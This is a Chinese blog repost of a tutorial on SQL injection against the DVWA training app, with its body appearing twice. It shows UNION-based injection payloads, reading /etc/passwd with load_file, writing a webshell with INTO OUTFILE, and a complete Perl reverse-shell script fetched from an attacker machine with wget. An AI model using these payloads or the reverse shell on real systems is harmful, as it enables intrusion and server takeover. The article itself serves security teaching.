- 浏览: 287902 次
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
原文地址:http://resources.infosecinstitute.com/anatomy-of-an-attack-gaining-reverse-shell-from-sql-injection/
本文使用DVWA作为演示
首先将dvwa安全级别配置为low
1. 查找SQLi注入点
查找sqli注入点是关键步骤,需要很多技巧和经验来识别注入点。通过分析web程序,识别注入点。例如下图,USER ID可以被认为是一个注入点。
在user id中添加一个引号,我们可以看到MySql数据库语义错误
如果仔细查看,将会发现是一个syntax error,它的原因是当提供一个单引号时,后端数据库产生了一个syntax error错误。
正常情况下后端的sql语句类似:
如果user id提供一个单引号,那么sql语句变成:
所以产生一个语义错误。
所以注入点是user id,通过它可以直接和后端数据库通信。
接下来我们来尝试猜测后端后端数据库的语句,语句中列的数量,数据库名和MySq版本等信息。
根据前端,我们猜测语句类似:
但是这只是一个粗略的猜测,我们需要充分利用MySql的特性,MySql提供给我们ORDER BY
ORDER BY根据列来排序查询结果。例如上面的语句,查询两列,使用order by可以根据列1或列2来排序。
如果我想按照第三列排序结果,MySql产生错误:
所以当使用order by 2时没有错误,而order 3的时候产生错误,因此可以推断sql语句是两列
通过使用order by,我们可以推测出sql的列数
使用id= ‘ order by 3 #应用程序抛出MySql错误表明查询语句中没有使用第三列。#用于注释掉查询语句中剩余部分,所以语句看起来如下:
id= ‘ order by 2 # 没有产生错误表明sql语句的列数为2
现在使用UNION 语句来更进一步枚举
Union连接两个select查询结果。根据之前的order by操作,我们知道语句包含两列。我们无法控制一个sql语句,但是我们可以用过union和select来组合两条插叙的结果。
因为主查询中有两列,所以我们应该在union组合的select中使用两列
通过使用union查询,我们可以看到显示的结果为后端的select语句和我们的union select语句
然后我们使用其他的注入语句,例如 ' UNION SELECT user(), database()#
如下图所示,将会显示username和数据库
使用session_user()和current_user()
我们还可以获得MySql版本
更好的是MySql允许我们使用load_file(),我们可以使用load_file()来读取文件,我们通过注入来读取/etc/passwd文件
‘ UNION SELECT 1, load_file(/etc/passwd) #
现在我们使用那个UNION SELECT
1. 上传webshell,获得反向连接
我们通过PHPinfo.php来访问web的根文件
我们得知web的根文件是apache的默认目录/var/www/
识别正确的根目录很重要,对于apache我们已经知道默认根目录的位置,但是系统管理员可能改变该参数。一种方法是通过返回的错误来定位根目录的位置。它可能会泄漏安装目录。
现在我们将使用union select在根目录创建一个文件,通过使用来完成。INTO OUTFILE将选择的行写入文件。下面的注入显示cmp.php文件将会存放于根目录,可以用来执行OS命令行:
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ #
这个方法需要你有在根目录写的权限。管理员可能改变该权限
现在我们可以利用浏览器访问根目录中的cmd.php
现在我们运行一些系统命令,使用id命令,可以看到我们拥有apache权限。
接下来我们使用perl -h来检查系统是否安装了perl
现在我们可以使用wget命令下载,保存从攻击者机器下载的perl反向连接脚本,保存到/tmp文件夹。
perl脚本
现在我们检查backconnect.pl是否下载/保存成功
现在我们使用netcat在8080端口等待连接。然后运行perl backconnect.pl脚本。我们可以获得一个反向连接
现在我们有了一个交互式shell
现在我们在Windows环境中使用相同方法
首先使用union select以及load_file()
我们想要读E盘的一个文件,文件路径如下
e:/testfile.txt
注入 ‘ union select 1, load_file(‘e:\testfile.txt’) #
适当的指定路径很重要,正如我们看到的路径是e:\testfile.txt,但是MySql会解析"\"。注入也可以为
‘ union select 1, load_file(‘e:/testfile.txt’) #
接下来找到web根文件夹,使用老方法PHPinfo.php
根文件夹为c:/wamp/www/DVWA/dvwa/,所以上传webshell使用的sql为
‘ union select 1, ‘‘ INTO OUTFILE ‘c:\wamp\www\DVWA\dvwa\cmd.php’#
检查cmd.php是否成功:
我们可以使用其他命令,例如whoami,将会告诉我们我们拥有NT authority system权限
本文使用DVWA作为演示
首先将dvwa安全级别配置为low
1. 查找SQLi注入点
查找sqli注入点是关键步骤,需要很多技巧和经验来识别注入点。通过分析web程序,识别注入点。例如下图,USER ID可以被认为是一个注入点。
在user id中添加一个引号,我们可以看到MySql数据库语义错误
如果仔细查看,将会发现是一个syntax error,它的原因是当提供一个单引号时,后端数据库产生了一个syntax error错误。
正常情况下后端的sql语句类似:
MySQL> select first_name, last_name from users where user_id='' ;
如果user id提供一个单引号,那么sql语句变成:
MySQL> select first_name, last_name from users where user_id='' ';
所以产生一个语义错误。
所以注入点是user id,通过它可以直接和后端数据库通信。
接下来我们来尝试猜测后端后端数据库的语句,语句中列的数量,数据库名和MySq版本等信息。
根据前端,我们猜测语句类似:
MySQL> select first_name, last_name from users where user_id=1 ;
但是这只是一个粗略的猜测,我们需要充分利用MySql的特性,MySql提供给我们ORDER BY
ORDER BY根据列来排序查询结果。例如上面的语句,查询两列,使用order by可以根据列1或列2来排序。
如果我想按照第三列排序结果,MySql产生错误:
ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’
所以当使用order by 2时没有错误,而order 3的时候产生错误,因此可以推断sql语句是两列
通过使用order by,我们可以推测出sql的列数
使用id= ‘ order by 3 #应用程序抛出MySql错误表明查询语句中没有使用第三列。#用于注释掉查询语句中剩余部分,所以语句看起来如下:
MySQL> select first_name, last_name from users where user_id=’ ‘ order by 3 # ‘ ;
id= ‘ order by 2 # 没有产生错误表明sql语句的列数为2
现在使用UNION 语句来更进一步枚举
Union连接两个select查询结果。根据之前的order by操作,我们知道语句包含两列。我们无法控制一个sql语句,但是我们可以用过union和select来组合两条插叙的结果。
因为主查询中有两列,所以我们应该在union组合的select中使用两列
MySQL> select first_name, last_name from users where user_id=’ ‘ union select 1,2 ;
通过使用union查询,我们可以看到显示的结果为后端的select语句和我们的union select语句
然后我们使用其他的注入语句,例如 ' UNION SELECT user(), database()#
如下图所示,将会显示username和数据库
使用session_user()和current_user()
我们还可以获得MySql版本
更好的是MySql允许我们使用load_file(),我们可以使用load_file()来读取文件,我们通过注入来读取/etc/passwd文件
‘ UNION SELECT 1, load_file(/etc/passwd) #
现在我们使用那个UNION SELECT
1. 上传webshell,获得反向连接
我们通过PHPinfo.php来访问web的根文件
我们得知web的根文件是apache的默认目录/var/www/
识别正确的根目录很重要,对于apache我们已经知道默认根目录的位置,但是系统管理员可能改变该参数。一种方法是通过返回的错误来定位根目录的位置。它可能会泄漏安装目录。
现在我们将使用union select在根目录创建一个文件,通过使用来完成。INTO OUTFILE将选择的行写入文件。下面的注入显示cmp.php文件将会存放于根目录,可以用来执行OS命令行:
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ #
这个方法需要你有在根目录写的权限。管理员可能改变该权限
现在我们可以利用浏览器访问根目录中的cmd.php
现在我们运行一些系统命令,使用id命令,可以看到我们拥有apache权限。
接下来我们使用perl -h来检查系统是否安装了perl
现在我们可以使用wget命令下载,保存从攻击者机器下载的perl反向连接脚本,保存到/tmp文件夹。
perl脚本
#!/usr/bin/perl use Socket; use FileHandle; $IP = $ARGV[0]; $PORT = $ARGV[1]; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')); connect(SOCKET, sockaddr_in($PORT,inet_aton($IP))); SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); system("/bin/sh -i");
现在我们检查backconnect.pl是否下载/保存成功
现在我们使用netcat在8080端口等待连接。然后运行perl backconnect.pl脚本。我们可以获得一个反向连接
现在我们有了一个交互式shell
现在我们在Windows环境中使用相同方法
首先使用union select以及load_file()
我们想要读E盘的一个文件,文件路径如下
e:/testfile.txt
注入 ‘ union select 1, load_file(‘e:\testfile.txt’) #
适当的指定路径很重要,正如我们看到的路径是e:\testfile.txt,但是MySql会解析"\"。注入也可以为
‘ union select 1, load_file(‘e:/testfile.txt’) #
接下来找到web根文件夹,使用老方法PHPinfo.php
根文件夹为c:/wamp/www/DVWA/dvwa/,所以上传webshell使用的sql为
‘ union select 1, ‘‘ INTO OUTFILE ‘c:\wamp\www\DVWA\dvwa\cmd.php’#
检查cmd.php是否成功:
我们可以使用其他命令,例如whoami,将会告诉我们我们拥有NT authority system权限
发表评论
-
kali 2.0 broadcom wifi connection
2015-12-12 16:28 444引用apt-get install -y linux-head ... -
kali2.0中国源
2015-09-27 01:42 453#中科大kali源 deb http://mirrors.us ... -
linux 安装scrapy
2015-09-07 13:06 602由于scrapy对python3支持不是很好,所以使用pyth ... -
nginx reverse proxy cofinguration
2015-08-28 15:18 417based on our case, we need to h ... -
wpscan
2015-08-01 10:39 435https://www.digitalocean.com/co ... -
[转]Tunneling Data and Commands Over DNS to Bypass Firewalls
2015-07-13 20:44 481https://zeltser.com/c2-dns-tunn ... -
arachni-web-ui使用
2015-06-10 01:04 2146最近在玩儿arachni,想试试arachni-ui-web, ... -
linux dd命令
2015-06-06 14:29 379dd if=/dev/hda of=disk.mbr coun ... -
HACKING NODEJS AND MONGODB
2015-06-04 23:52 342http://blog.websecurify.com/201 ... -
php object inject
2015-05-29 00:45 339解释: http://securitycafe.ro/2015 ... -
[转]Forcing XXE Reflection through Server Error Messages
2015-05-19 01:10 453原文地址:https://blog.netspi.com/fo ... -
CVE-2011-2461
2015-03-31 01:19 430http://blog.nibblesec.org/2015/ ... -
[译]从配置错误的web server中dump git数据
2015-03-26 01:07 581原文地址:https://blog.netspi.com/du ... -
[译]解密MSSQL密码
2015-03-26 00:43 2876原文地址: https://blog.ne ... -
自动化Man-in-the-Middle SSHv2攻击
2015-03-18 01:26 1043参考:http://www.david-guembel.de/ ... -
[转]Microsoft Access sqli
2015-03-18 00:57 437https://milo2012.wordpress.com/ ... -
[转]sqlmap注入Microsoft Access
2015-03-18 00:49 1593https://github.com/sqlmapprojec ... -
Wine中使用MinGW
2015-03-17 00:49 654原文:http://null-byte.wonderhowto ... -
crossdomain.xml
2015-03-12 01:23 671参考: https://hackerone.com/repor ... -
[译]使用wireshark解密TLS浏览器流量
2015-03-12 00:57 4126原文地址:https://jimshaver.net/2015 ...
相关推荐
SQL注入(SQL Injection)是网络安全领域中常见的一...总之,SQLi Labs为那些对网络安全领域感兴趣的读者提供了一个很好的学习平台,通过对SQL注入的系统性学习和实践,学习者可以更好地理解和掌握网络安全的核心技能。
SQLi Dumper是一款针对SQL注入漏洞的工具,主要用于从受攻击的系统中提取数据库信息。在标题"SQLi Dumper v.10.2_sqlidumper_"中,我们可以看出这是该工具的第10.2版本,而"sqlidumper"标签进一步确认了工具的名称。...
Windows 环境下安装 sqli-labs 详细教程 Windows Server 2012 环境下安装 sqli-labs 需要具备一定的基础知识和环境准备。在这里,我们将详细介绍如何在 Windows Server 2012 环境下安装 sqli-labs。 环境准备 在...
SQLi Dumper v.8.3_sqli_ 是一个专门针对SQL注入漏洞的渗透测试工具,主要用于检测和利用SQL注入漏洞。SQL注入是一种常见的网络安全威胁,攻击者通过在Web应用程序的输入字段中插入恶意SQL代码,以获取未经授权的...
8. Web应用安全概念:通过解决sqli-labs的挑战,你还会了解Web应用安全的整体概念,比如OWASP Top 10中的其他常见漏洞类型,以及如何将安全思维融入到整个开发流程中。 总之,sqli-labs-master是一个宝贵的资源,它...
安装phpstudy、sqli-labs 适合人群:小白 安装sqli-labs报错如何解决
整体来看,"sqlilabs过关手册注入天书.pdf"旨在帮助读者通过实践学习和巩固SQL注入技术,提供了一系列的实验室环境和挑战,以便学习者能够从基础到高级逐步提高自己的技能。对于网络安全从业者、数据库管理员或任何...
通过sqli-labs,你可以学习到以下内容: 1. SQL语法基础:理解如何构造有效的SQL注入语句。 2. 分析HTTP请求:识别可能的注入点。 3. 数据库操作:了解如何利用注入获取或篡改数据。 4. 防御策略:学习如何使用...
在这个sqli-lab通关txt文件中,我们预计会找到一系列关于SQL注入攻击的实战教程,主要涵盖了从基础到进阶的10个不同阶段的练习。 SQL注入通常发生在Web应用中,当用户输入的数据没有被正确地过滤或转义,导致这些...
3. **盲注**:sqli3和sqli5可能教授如何在没有明显错误回显的情况下进行盲目的SQL注入,通过判断查询结果的真伪来获取信息。 4. **联合查询注入**:sqli8可能包含如何利用联合查询(UNION SELECT)来拼接不同的...
SQL注入(SQL Injection)是一种常见的网络安全威胁,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,以获取、修改、删除数据库中的敏感信息或控制整个数据库系统。sqli-labs是一个专门设计用于学习和练习SQL...
“sqli-labs-master.zip”文件则包含了这个靶场的源代码和相关资料,用户在解压后可以在本地环境中运行,通过尝试各种注入攻击,逐步提高自己的安全技能。 在学习和使用这两个工具时,你需要了解以下知识点: 1. *...
总的来说,"SQLi-DB Reborn"是提高Web应用安全性的重要工具,通过模拟攻击,帮助开发者识别并修复SQL注入漏洞,从而保护用户的隐私和数据安全。了解和使用这样的工具,对于提升个人或团队的网络安全意识和能力至关...
【SQL注入实验室(sqli-labs)详解】 ...通过sqli-labs靶机的学习,用户不仅可以提升SQL注入的检测和防护能力,还能增强网络安全意识,这对于任何从事Web开发或网络安全相关工作的人来说都是至关重要的。
SQL注入是一种常见的网络安全漏洞,它允许攻击者通过在Web应用程序的输入字段中插入恶意SQL代码来操纵数据库。sqli-labs是一个专门设计...通过sqli-labs这样的平台,可以模拟真实环境,提高对SQL注入的理解和应对能力。
SQL注入(SQL Injection)是一种常见的网络安全漏洞,主要发生在应用...通过sqli-labs靶场的学习,你可以提升对SQL注入的理解,掌握检测和防护的方法,这对于任何涉及Web开发或网络安全的角色来说都是非常宝贵的技能。
通过sqli-labs-master靶场,你可以逐步提高对SQL注入的理解和防御能力,为真实世界的网络安全工作做好准备。记住,实践是检验知识最好的方式,不断尝试并理解每个级别的攻击与防御机制,将使你在网络安全领域更加...
Sqli-labs安装需要安装以下环境 apache+mysql+php Sqli-labs安装 将之前下载的源码解压到web目录下,linux的apache为 /var/www/html下,windows下的wamp解压在www目录下。 修改sql-connections/db-creds.inc文件当中...
通过sqli-lab的实战练习,你不仅可以学习到如何进行SQL注入攻击,更重要的是,你还能了解到如何在实际开发中预防这种攻击,提升你的Web应用安全性。因此,无论你是开发者还是安全专业人员,这个平台都是提升SQL注入...
2. 身份冒用:通过篡改查询,攻击者可能获得非法权限,冒充合法用户。 3. 数据破坏:攻击者可以更新或删除数据库中的记录,造成数据丢失。 4. 控制数据库服务器:在某些情况下,攻击者甚至可以执行操作系统命令,...